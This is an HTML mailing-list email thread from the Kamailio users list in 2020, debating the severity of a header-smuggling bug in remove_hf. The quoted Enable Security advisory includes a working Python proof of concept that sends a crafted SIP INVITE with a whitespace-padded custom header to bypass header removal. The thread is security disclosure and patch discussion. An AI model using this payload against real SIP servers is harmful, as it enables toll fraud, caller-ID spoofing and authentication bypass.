<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:w="urn:schemas-microsoft-com:office:word" xmlns:m="http://schemas.microsoft.com/office/2004/12/omml" xmlns="http://www.w3.org/TR/REC-html40">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="Generator" content="Microsoft Word 15 (filtered medium)">
<style><!--
/* Font Definitions */
@font-face
{font-family:"Cambria Math";
panose-1:2 4 5 3 5 4 6 3 2 4;}
@font-face
{font-family:Calibri;
panose-1:2 15 5 2 2 2 4 3 2 4;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{margin:0cm;
font-size:11.0pt;
font-family:"Calibri",sans-serif;}
a:link, span.MsoHyperlink
{mso-style-priority:99;
color:blue;
text-decoration:underline;}
span.E-MailFormatvorlage19
{mso-style-type:personal-reply;
font-family:"Calibri",sans-serif;
color:windowtext;}
.MsoChpDefault
{mso-style-type:export-only;
font-family:"Calibri",sans-serif;
mso-fareast-language:EN-US;}
@page WordSection1
{size:612.0pt 792.0pt;
margin:70.85pt 70.85pt 2.0cm 70.85pt;}
div.WordSection1
{page:WordSection1;}
--></style><!--[if gte mso 9]><xml>
<o:shapedefaults v:ext="edit" spidmax="1026" />
</xml><![endif]--><!--[if gte mso 9]><xml>
<o:shapelayout v:ext="edit">
<o:idmap v:ext="edit" data="1" />
</o:shapelayout></xml><![endif]-->
</head>
<body lang="DE" link="blue" vlink="purple">
<div class="WordSection1">
<p class="MsoNormal"><span style="mso-fareast-language:EN-US">Hello Maxim,<o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-fareast-language:EN-US"><o:p> </o:p></span></p>
<p class="MsoNormal"><span lang="EN-GB" style="mso-fareast-language:EN-US">we did the more extensive process in the past with issues that could lead to a crash. You find the announcements in the archives and on the webpage in 2018, let me know if you like a
pointer to that. I don’t want to downplay it, but this particular bug is in my opinion less serious than the mentioned ones. As Daniel mentioned, it has been in the code since 18 years without anybody noticing it (and exploiting it openly).<o:p></o:p></span></p>
<p class="MsoNormal"><span lang="EN-GB" style="mso-fareast-language:EN-US"><o:p> </o:p></span></p>
<p class="MsoNormal"><span lang="EN-GB" style="mso-fareast-language:EN-US">This issue was already fixed in the respective stable branches, also on July 16<sup>th</sup>. There has been no official release yet for these branches, but there will be probably one
done after online KamailioWorld. I will ask Sandro to update the advisory when they have been done.<o:p></o:p></span></p>
<p class="MsoNormal"><span lang="EN-GB" style="mso-fareast-language:EN-US"><o:p> </o:p></span></p>
<p class="MsoNormal"><span lang="EN-GB" style="mso-fareast-language:EN-US">Regarding your comments about the API behaviour of Kamailio and people expectations, surely, we are aiming towards this. But as you have been in software business a long time by yourself,
you surely know that all software can have bugs. Kamailio being an open source project, more helping hands are of course always welcome. There is also always the option to get commercial support in case one is using a really old release etc..<o:p></o:p></span></p>
<p class="MsoNormal"><span lang="EN-GB" style="mso-fareast-language:EN-US"><o:p> </o:p></span></p>
<p class="MsoNormal"><span lang="EN-GB" style="mso-fareast-language:EN-US">Cheers,<o:p></o:p></span></p>
<p class="MsoNormal"><span lang="EN-GB" style="mso-fareast-language:EN-US"><o:p> </o:p></span></p>
<p class="MsoNormal"><span lang="EN-GB" style="mso-fareast-language:EN-US">Henning<o:p></o:p></span></p>
<p class="MsoNormal"><span lang="EN-GB" style="mso-fareast-language:EN-US"><o:p> </o:p></span></p>
<p class="MsoNormal"><span lang="EN-GB" style="mso-fareast-language:EN-US">-- <o:p>
</o:p></span></p>
<p class="MsoNormal"><span lang="EN-GB" style="mso-fareast-language:EN-US">Henning Westerholt –
</span><span style="mso-fareast-language:EN-US"><a href="https://skalatan.de/blog/"><span lang="EN-GB" style="color:#0563C1">https://skalatan.de/blog/</span></a></span><span lang="EN-GB" style="mso-fareast-language:EN-US"><o:p></o:p></span></p>
<p class="MsoNormal"><span lang="EN-GB" style="mso-fareast-language:EN-US">Kamailio services –
</span><span style="mso-fareast-language:EN-US"><a href="https://gilawa.com/"><span lang="EN-GB" style="color:#0563C1">https://gilawa.com</span></a></span><span style="mso-fareast-language:EN-US">
<span lang="EN-GB"><o:p></o:p></span></span></p>
<p class="MsoNormal"><span lang="EN-GB" style="mso-fareast-language:EN-US"><o:p> </o:p></span></p>
<div style="border:none;border-top:solid #E1E1E1 1.0pt;padding:3.0pt 0cm 0cm 0cm">
<p class="MsoNormal" style="margin-left:35.4pt"><b>From:</b> sr-users <sr-users-bounces@lists.kamailio.org>
<b>On Behalf Of </b>Maxim Sobolev<br>
<b>Sent:</b> Wednesday, September 2, 2020 6:43 AM<br>
<b>To:</b> Daniel-Constantin Mierla <miconda@gmail.com>; Kamailio (SER) - Users Mailing List <sr-users@lists.kamailio.org><br>
<b>Subject:</b> Re: [SR-Users] Kamailio vulnerable to header smuggling possible due to bypass of remove_hf<o:p></o:p></p>
</div>
<p class="MsoNormal" style="margin-left:35.4pt"><o:p> </o:p></p>
<div>
<p class="MsoNormal" style="margin-left:35.4pt">Thanks Daniel for patching up the bug, however I think you are downplaying severity of the problem at hand. You see, from the point of view of outside world, kamailio is not just engine and default config. All
APIs that are provided are also part of the product, especially those "core" ones. As such, security issue with any such API is affecting the whole product. People using Kamailio expect those APIs do what documentation says they do, no more no less!<o:p></o:p></p>
<div>
<p class="MsoNormal" style="margin-left:35.4pt"><o:p> </o:p></p>
</div>
<div>
<p class="MsoNormal" style="margin-left:35.4pt">What you are saying is basically any Kamailio installation any version under the sun except maybe dozen using default config is affected and has to be updated. My question therefore is "what Kamailio is going
to do about it"? At the very least I'd expect fix to be merged into all actively maintained branches and official security advisory issued and distributed to all possible channels listing revisions and recommending upgrading ASAP.<o:p></o:p></p>
</div>
<div>
<p class="MsoNormal" style="margin-left:35.4pt"><o:p> </o:p></p>
</div>
<div>
<p class="MsoNormal" style="margin-left:35.4pt">-Max<o:p></o:p></p>
</div>
</div>
<p class="MsoNormal" style="margin-left:35.4pt"><o:p> </o:p></p>
<div>
<div>
<p class="MsoNormal" style="margin-left:35.4pt">On Tue., Sep. 1, 2020, 8:46 a.m. Daniel-Constantin Mierla, <<a href="mailto:miconda@gmail.com">miconda@gmail.com</a>> wrote:<o:p></o:p></p>
</div>
<blockquote style="border:none;border-left:solid #CCCCCC 1.0pt;padding:0cm 0cm 0cm 6.0pt;margin-left:4.8pt;margin-right:0cm">
<p class="MsoNormal" style="margin-left:35.4pt">Hello,<br>
<br>
thanks Sandro for directing a lot of time and effort for stress testing<br>
and fuzzing Kamailio, it really helps to increase the security and<br>
stability of the application.<br>
<br>
In a very short summary version, the issue was caused by a bug in<br>
extracting the name of non-common standard headers (like X-My-Hdr), not<br>
stripping the white spaces between the name and the following : (colon).<br>
The common standard headers (like From, To, Authorization,<br>
P-Asserted-Identity, ...) use a different header name parsing and there<br>
is no impact in them.<br>
<br>
The only security risk in my opinion is when some bad actor learns about<br>
the custom header names (and their body format/content) you use to pass<br>
data between Kamailio and other SIP systems in your core platform, then<br>
trying to preset such headers in the SIP traffic. Of course, security is<br>
affected only if you pass security sensitive data in such custom<br>
headers. The default kamailio.cfg is not using any custom headers, thus<br>
no impact on it.<br>
<br>
The config fix for it (without any code upgrade) is replacing:<br>
<br>
remove_hf("X-My-Hdr");<br>
<br>
with:<br>
<br>
remove_hf_re("X-My-Hdr");<br>
<br>
As a funny fact, I tracked the faulty code back to at least release SER<br>
v0.8.11, out 18 years ago, so it is a very long living bug.<br>
<br>
Cheers,<br>
Daniel<br>
<br>
On 01.09.20 14:44, Sandro Gauci wrote:<br>
> Dear Kamailio Users, <br>
><br>
> posting our security advisory here just in case anyone who was affected has not upgraded or mitigated the header smuggling issue.<br>
><br>
> Advisory follows: <br>
><br>
> # Kamailio vulnerable to header smuggling possible due to bypass of remove_hf<br>
><br>
> - Fixed versions: Kamailio v5.4.0<br>
> - Enable Security Advisory: <<a href="https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf" target="_blank">https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf</a>><br>
> - Tested vulnerable versions: 5.3.5 and earlier<br>
> - Timeline:<br>
> - Report date & issue patched by Kamailio: 2020-07-16<br>
> - Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23<br>
> - Kamailio release with fix: 2020-07-29<br>
> - Enable Security advisory: 2020-09-01<br>
><br>
> ## Description<br>
><br>
> Kamailio is often configured to remove certain special internal SIP headers from untrusted traffic to protect against header injection attacks by making use of the `remove_hf` function from the Kamailio `textops` module. These SIP headers were typically set
through Kamailio which are then used downstream, e.g. by a media service based on Asterisk, to affect internal business logic decisions. During our tests and research, we noticed that the removal of these headers can be bypassed by injecting whitespace characters
at the end of the header name.<br>
><br>
> Note that this issue only affected header names that are __not__ defined in `src/core/parser/hf.h`.<br>
><br>
> Further discussion and details of this vulnerability can be found at the Communication Breakdown blog:
<a href="https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/" target="_blank">
https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/</a>.<br>
><br>
> ## Impact<br>
><br>
> The impact of this security bypass greatly depends on how these headers are used and processed by the affected logic. In a worst case scenarios, this vulnerability could allow toll fraud, caller-ID spoofing and authentication bypass.<br>
><br>
> ## How to reproduce the issue<br>
><br>
> We prepared a docker-compose environment to demonstrate a vulnerable setup which can be found at <<a href="https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro" target="_blank">https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio-remove-hf/repro</a>>.
The following python code could then be used to reproduce the issue:<br>
><br>
> ```python<br>
> #!/usr/bin/env python3<br>
> sipmsg = "INVITE <a href="sip:headerbypass@localhost">sip:headerbypass@localhost</a> SIP/2.0\r\n"<br>
> sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n"<br>
> sipmsg += "Max-Forwards: 70\r\n"<br>
> sipmsg += "From: <<a href="sip:anon@localhost">sip:anon@localhost</a>>;tag=%s\r\n"<br>
> sipmsg += "To: <a href="sip:whatever@whatever.local\r\n">sip:whatever@whatever.local\r\n</a>"<br>
> sipmsg += "Call-ID: %s\r\n"<br>
> sipmsg += "CSeq: 1 INVITE\r\n"<br>
> sipmsg += "Contact: <<a href="http://sip:1000@127.0.0.1:48017" target="_blank">sip:1000@127.0.0.1:48017</a>;transport=udp>\r\n"<br>
> sipmsg += "X-Bypass-me : lol\r\n"<br>
> sipmsg += "Content-Length: 237\r\n"<br>
> sipmsg += "Content-Type: application/sdp\r\n"<br>
> sipmsg += "\r\n"<br>
> sipmsg += "v=0\r\n"<br>
> sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n"<br>
> sipmsg += "s=-\r\n"<br>
> sipmsg += "c=IN IP4 127.0.0.1\r\n"<br>
> sipmsg += "t=0 0\r\n"<br>
> sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n"<br>
> sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n"<br>
> sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n"<br>
> sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n"<br>
> sipmsg += "a=rtpmap:96 opus/8000/2\r\n"<br>
> sipmsg += "a=sendrecv\r\n"<br>
><br>
> target = ("127.0.0.1",5060)<br>
><br>
> import socket<br>
> import time<br>
> from random import randint<br>
> s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)<br>
> s.bind(("0.0.0.0",5088))<br>
> r = randint(1000,9999)<br>
> data = sipmsg % (r,r,r)<br>
> s.sendto(data.encode("utf-8"), target)<br>
> while True:<br>
> data,addr=s.recvfrom(4096)<br>
> print(data.decode("utf-8"))<br>
> time.sleep(5)<br>
> ```<br>
><br>
> In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK while in a fixed version, Asterisk would respond with a 603 Decline response. This is specific to the [dialplan](<a href="https://github.com/EnableSecurity/advisories/blob/master/ES2020-01-kamailio-remove-hf/repro/asterisk/config/extensions.conf" target="_blank">https://github.com/EnableSecurity/advisories/blob/master/ES2020-01-kamailio-remove-hf/repro/asterisk/config/extensions.conf</a>)
in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found.<br>
><br>
> ## Solutions and recommendations<br>
><br>
> The official Kamailio fix has been tested and found to sufficiently address this security flaw. We recommend making use of the latest release or backporting the fixes where possible. Making use of regular expressions to cover white-space characters with `remove_hf_re`
has been suggested as mitigation for this issue for cases where the code cannot be upgraded.<br>
><br>
> Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for the very quick response and fix within minutes of our report being made available to him, as well as Torrey Searle for reporting this issue quickly to the Kamailio team.<br>
><br>
> ## About Enable Security<br>
><br>
> [Enable Security](<a href="https://www.enablesecurity.com" target="_blank">https://www.enablesecurity.com</a>) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.<br>
><br>
> ## Disclaimer<br>
><br>
> The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information.
Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.<br>
><br>
> ## Disclosure policy<br>
><br>
> This report is subject to Enable Security's vulnerability disclosure policy which can be found at <<a href="https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy" target="_blank">https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy</a>>.<br>
><br>
> _______________________________________________<br>
> Kamailio (SER) - Users Mailing List<br>
> <a href="mailto:sr-users@lists.kamailio.org" target="_blank">sr-users@lists.kamailio.org</a><br>
> <a href="https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users" target="_blank">
https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users</a><br>
<br>
-- <br>
Daniel-Constantin Mierla -- <a href="http://www.asipto.com" target="_blank">www.asipto.com</a><br>
<a href="http://www.twitter.com/miconda" target="_blank">www.twitter.com/miconda</a> --
<a href="http://www.linkedin.com/in/miconda" target="_blank">www.linkedin.com/in/miconda</a><br>
Funding: <a href="https://www.paypal.me/dcmierla" target="_blank">https://www.paypal.me/dcmierla</a><br>
<br>
<br>
_______________________________________________<br>
Kamailio (SER) - Users Mailing List<br>
<a href="mailto:sr-users@lists.kamailio.org" target="_blank">sr-users@lists.kamailio.org</a><br>
<a href="https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users" target="_blank">https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users</a><o:p></o:p></p>
</blockquote>
</div>
</div>
</body>
</html>